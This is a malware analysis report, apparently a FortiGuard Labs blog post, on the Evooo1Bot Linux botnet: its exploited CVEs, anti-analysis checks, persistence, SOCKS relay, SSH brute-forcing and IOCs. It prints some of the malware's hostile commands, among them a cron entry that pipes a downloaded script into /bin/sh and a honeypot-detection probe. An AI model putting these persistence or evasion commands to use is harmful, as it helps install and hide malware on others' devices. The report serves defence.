Affected Platforms: Linux
Impacted Users: Any organization
Impact: Remote attackers gain control of the vulnerable systems
Severity Level: Critical

FortiGuard Labs has been tracking a previously undocumented Linux botnet family, which we have named Evooo1Bot. The name derives from the hardcoded string “evooo1” found in every binary. While the malware reuses the DDoS engine from the publicly leaked Mirai source code, it extends the original framework with numerous capabilities, including encrypted C2 communications, an SSH brute-force scanner, a SOCKS relay module, a credential sniffer, and an integrated exploit arsenal targeting multiple known vulnerabilities. Telemetry from its command-and-control infrastructure indicates that Evooo1Bot has been actively targeting Internet-facing devices since July 2026, exploiting multiple vulnerabilities across diverse regions. In this article, we provide a detailed analysis of Evooo1Bot’s modular architecture and operational features.

Discovery

Evooo1Bot came to our attention through FortiGuard IPS telemetry. We observed active exploitation attempts targeting a range of edge devices, with all payload callbacks pointing to the same loader URL at 91.92.40[.]118/wget.sh. The following vulnerabilities were observed being exploited across the captured traffic:

• CVE-2007-3010: Alcatel OmniPCX Enterprise Remote Code Execution Vulnerability
• CVE-2016-6277: NETGEAR Multiple Routers Remote Code Execution Vulnerability
• CVE-2018-14558: Tenda AC7, AC9, and AC10 Routers Command Injection Vulnerability
• CVE-2019-14931: Mitsubishi Electric Europe B.V. ME-RTU devices and INEA ME-RTU devices remote Command Injection vulnerability
• CVE-2020-10987: Tenda AC1900 Router AC15 Model Remote Code Execution Vulnerability
• CVE-2021-46422: Telesquare SDT-CW3B1 Command Injection vulnerability
• CVE-2022-37055: D-Link Routers Buffer Overflow Vulnerability
• CVE-2024-29269, Telesquare TLR-2005KSH Command Injection Vulnerability
• CVE-2025-10123, D-Link DIR-823X Command Injection Vulnerability
• CVE-2025-55583: D-Link DIR-868L B1 router Command Injection Vulnerability

The loader script wget.sh downloads and executes a botnet binary that matches the host’s CPU architecture. Each exploitation attempt carries a campaign label embedded in the download command (for example, -s mitsu for Mitsubishi Electric targets and rep.alcatel for Alcatel-Lucent targets), indicating that the operator independently tracks per-vulnerability infection yield.

Basic Sample Identification

Static strings in Evooo1Bot are protected by a multi-layer pipeline applied at compile time. The same decryption procedure handles more than 60 encrypted string blocks. The AES and ChaCha20 keys are not stored directly in the binary. Each key is split into two 32-byte constants embedded in .data and combined at runtime via XOR.

At startup, the binary checks for the presence of analysis tooling before continuing:

• Filesystem presence check: strace, ltrace, gdb, lldb, valgrind, perf, radare2, r2, rizin, cutter, iaito, ghidra, ghidraRun, ida, ida64, idat, idat64, objdump, readelf, retdec-decompiler, wireshark, tshark, tcpdump, ngrep, ettercap, yara, ssdeep, binwalk, foremost, sysdig, bpftrace, auditd, ausearch, fatrace, inotifywait, lynis, rkhunter, chkrootkit, clamdscan, clamscan, volatility, vol.py, and gcore
• Running process name check: gdb, lldb, strace, ltrace, radare2, r2, rizin, rr, valgrind, perf, ida, ida64, ghidra, sysdig, bpftrace, frida, and frida-server
• Sandbox service name check: sandboxie, cuckoo, anubis, threatexpert, joebox, comodo, hybrid-analysis, cape-sandbox, fireeye, normanbox, and drakvuf.
• VM and container environment fingerprints check: vmware, vbox, virtualbox, qemu, firejail, bubblewrap, gvisor, kata, cuckoo, joesandbox, cape, any.run, and hybrid-analysis.

Once the checks pass, it begins establishing a connection with the C2 server on port 443. This port is chosen to blend in with expected HTTPS traffic at the network perimeter. After checking in with the C2 server, it waits for further commands to take action.

Functional Modules

Evooo1Bot is embedded with multiple commands and can be separated into the following modules. (Note: This is based on the latest version. The earlier build supports all commands except !cve, !stopcve, and !cveall.)

We provide further explanation of the “Persistence,” “SOCKS Relay,” “SSH Scanner,” “DDoS,” and “CVE Exploit” modules in the following sections.

Persistence Mechanisms

The !persist command installs all mechanisms simultaneously.

• systemd service: sets up a unit file with “Description=Apache HTTPD Cache Manager” and “Restart=always.”
• SysV init script: installs in path /etc/init.d with the header “### BEGIN INIT INFO” with the downloading script “(wget -qO- <URL> || curl -sL <URL>) | /bin/sh > /dev/null 2>&1 &.”
• Cron: sets a scheduled task with an entry to download the script every 5 minutes:

*/5 * * * * /bin/sh -c '(wget -qO- <URL> || curl -sL <URL>) | /bin/sh > /dev/null 2>&1 &'

• Shell profile: /etc/profile.d/ injection executed on login.
• rc.local: appends script to download the script in “/etc/rc.local.”

To resist termination, the binary writes to /proc/self/oom_score_adj to reduce the OOM-killer’s priority and keeps /dev/watchdog open to prevent a device reboot from interrupting the operation.

SOCKS relay

Unlike typical botnet commands that focus on downloading payloads or launching attacks, the !socks module turns an infected host into a SOCKS5 proxy that the operator can use as a network relay. It supports two operating modes. In direct mode, it opens a SOCKS5 listener on the infected host on the default TCP port 1080 and waits for incoming client connections. The implementation first attempts to create a dual-stack IPv6 listener and falls back to IPv4 if that fails. Each accepted client is then passed to the session handler for proxying.

The botnet also implements a reverse relay mode. Instead of exposing a listening port, the bot establishes an outbound encrypted connection to an operator-specified relay server. This persistent control channel listens for commands such as RELAY_NEW:<session_id>, which indicate that a new proxy session should be created.

Upon receiving the request, the bot opens a second encrypted connection to the same relay server, registers it using RELAY_DATA:<session_id>, and hands the connection to the SOCKS5 proxy routine. This architecture separates session control from proxy traffic, allowing multiple sessions to run independently while maintaining a stable control connection.

This capability significantly increases the value of an infected host to attackers. The victim's IP address can be used to disguise malicious traffic, bypass geographic restrictions, or provide access to internal networks through an already compromised machine. In larger botnets, the same functionality could also be used to build a distributed proxy infrastructure, enabling anonymous traffic forwarding or monetization through residential and enterprise proxy services.

SSH Brute-Force

Before attempting to start the scanner, it performs two honeypot checks at different stages of the connection. The first check occurs during the protocol handshake, before any credentials are submitted. The scanner compares the target's SSH banner against a hardcoded list shown in the table below. A match on any entry causes the target to be silently skipped without logging or further interaction.

The second check runs after a successful login, before the persistence payload is delivered. The scanner issues the following command over the established session:

cat /proc/version 2>/dev/null; echo ---; cat /proc/1/cmdline 2>/dev/null; ls /opt/cowrie /home/cowrie /home/kippo 2>/dev/null

The version output is checked for the substring Linux version. If it is absent, it indicates an emulated or non-standard environment and causes the target to be skipped. The ls command detects two honeypot families: Cowrie and Kippo. If any indicator is found, the scanner abandons the target. Only hosts that pass all three conditions proceed to payload delivery.

The two checks are complementary rather than redundant. The banner check filters out honeypots that announce themselves through their SSH implementation identifier. The post-login probe targets honeypots that present a plausible SSH banner but expose themselves through the underlying host’s file system layout. Targets that pass both checks proceed to payload delivery.

Then the built-in SSH scanner uses an SSH client implementation with the banner “SSH-2.0-OpenSSH_9.7p1.” The embedded credential dictionary contains over 150 entries. Beyond typical IoT default credentials, the list includes service account names (jenkins, postgres, oracle, nagios, deploy) that are more common in enterprise and operations-technology environments than on consumer routers.

DDoS Attack Method

The DDoS engine is structurally consistent with the publicly leaked Mirai source code. The HTTP flood variant (triggered by the http method key in the !attack parameter string) supports operator-specified METHOD, HEADER, and EXPECT values and constructs requests with a customizable User-Agent and Content-Length.

CVE Exploit Module

The exploit module contains a plaintext CVE table embedded in the binary, with each entry mapping a CVE identifier to one or more HTTP request strings. It provides the payload host at runtime via !cve <url> or !cveall <url> and substitutes it into the wget delivery command. All exploit entries use the same delivery method. The tables below list the vulnerabilities and URI paths extracted from the botnet.

The botnet contains some entries with implementation errors that prevent successful exploitation. In each case, the code does not replicate the actual attack vector. Either the vulnerability type is incompatible with command injection, or the target has no exposed interface that matches the request. These are non-exploitable as shipped. Take CVE-2023-34362 as an example. This vulnerability targets MOVEit Transfer. It has been reported that after exploitation, the threat actors deploy a web shell with filenames such as “human2.aspx.” However, this exploit module doesn’t execute the file upload procedure but only passes a payload argument to “human2.aspx.”

Conclusion

Evooo1Bot is a Linux botnet family that incorporates the Mirai DDoS engine into a significantly more capable and modular framework. Beyond traditional botnet functionality, it features encrypted C2 communications, multiple layers of string obfuscation using AES-256-CTR, ChaCha20, and XOR-based key derivation, as well as a 28-command remote administration interface. These capabilities place Evooo1Bot well beyond the technical baseline of conventional Mirai-derived malware.

In addition to its attack modules, Evooo1Bot includes an integrated exploit arsenal targeting multiple known vulnerabilities across IoT devices, networking equipment, and enterprise applications. Among its capabilities, the reverse SOCKS relay module is arguably the most operationally significant. By transforming a compromised router, firewall, IP camera, or other edge device into a persistent proxy, the malware enables attackers to conceal their true origin, pivot into internal networks, and conduct follow-on operations through the victim's infrastructure.

Organizations should prioritize timely patching of Internet-facing devices and network appliances to reduce exposure to exploitation. Regular firmware updates, continuous monitoring for suspicious outbound connections, and prompt remediation of vulnerable systems remain essential to minimizing the risk posed by botnets such as Evooo1Bot.

Fortinet Protections

The malware described in this report is detected and blocked by FortiGuard Antivirus as:

Linux/Agent.BDS!tr

The FortiGuard AntiVirus service engine is integrated into FortiGate, FortiMail, FortiClient, and FortiEDR. Customers running these products with up-to-date signatures are protected against the malware components described in this report.

The FortiGuard Web Filtering Service blocks the C2 server.

FortiGuard Labs provides an IPS signature against attacks exploiting the following vulnerabilities:

CVE-2007-3010: alcatel-lucent.omnipcx.office.mastercgi.user.command.execution

CVE-2016-6277: NETGEAR.WebServer.Module.Command.Injection

CVE-2018-14558 and CVE-2020-10987: Tenda.AC15.AC1900.Authenticated.Remote.Command.Injection

CVE-2019-14931: mitsubishi.electric.me-rtu.command.injection

CVE-2021-36260: Hikvision.Products.SDK.WebLanguage.Tag.Command.Injection

CVE-2021-46422 and CVE-2024-29269: Telesquare.SDT-CW3B1.Command.Injection

CVE-2022-26134: HTTP.URI.Java.Expression.Language.Code.Injection

CVE-2022-29464: WSO2.fileupload.Arbitrary.File.Upload

CVE-2022-30525: Zyxel.Firewall.ZTP.Command.Injection

CVE-2022-37055: D-link.go-rt-ac750.hnap_main.buffer.overflow

CVE-2023-1389: TP-Link.Archer.AX21.luci.stok.Command.Injection

CVE-2024-10914: D-Link.Devices.account_mgr.cgi.Command.Injection

CVE-2024-4577: PHP.CGI.Argument.Injection

CVE-2025-10123: D-Link.DIR-823X.set_static_leases.Command.Injection

CVE-2025-55583: D-Link.DIR-868L.fileaccess.cgi.Command.Injection

Organizations seeking to strengthen foundational security awareness may also consider completing Fortinet Certified Fundamentals (FCF) training in Cybersecurity.  This module is designed to help end users learn to identify and protect themselves from phishing attacks.

The FortiGuard IP Reputation and Anti-Botnet Security Service proactively blocks infrastructure associated with this campaign by correlating malicious IP intelligence collected from Fortinet’s global sensor network, CERT collaborations, MITRE, trusted industry partners, and other intelligence sources.

If you believe this or any other cybersecurity threat has impacted your organization, contact our Global FortiGuard Incident Response Team for assistance.

IOCs

IP

91.92.40[.]118

Hashes

f13cb360768363d3424e2192c7805b8c8015eb8706dbbbcdead6aed8cf390109
4c0886349e9d348569fffe1b7a31e474d514508bf0cd6f1e5dd99c2a73525e4d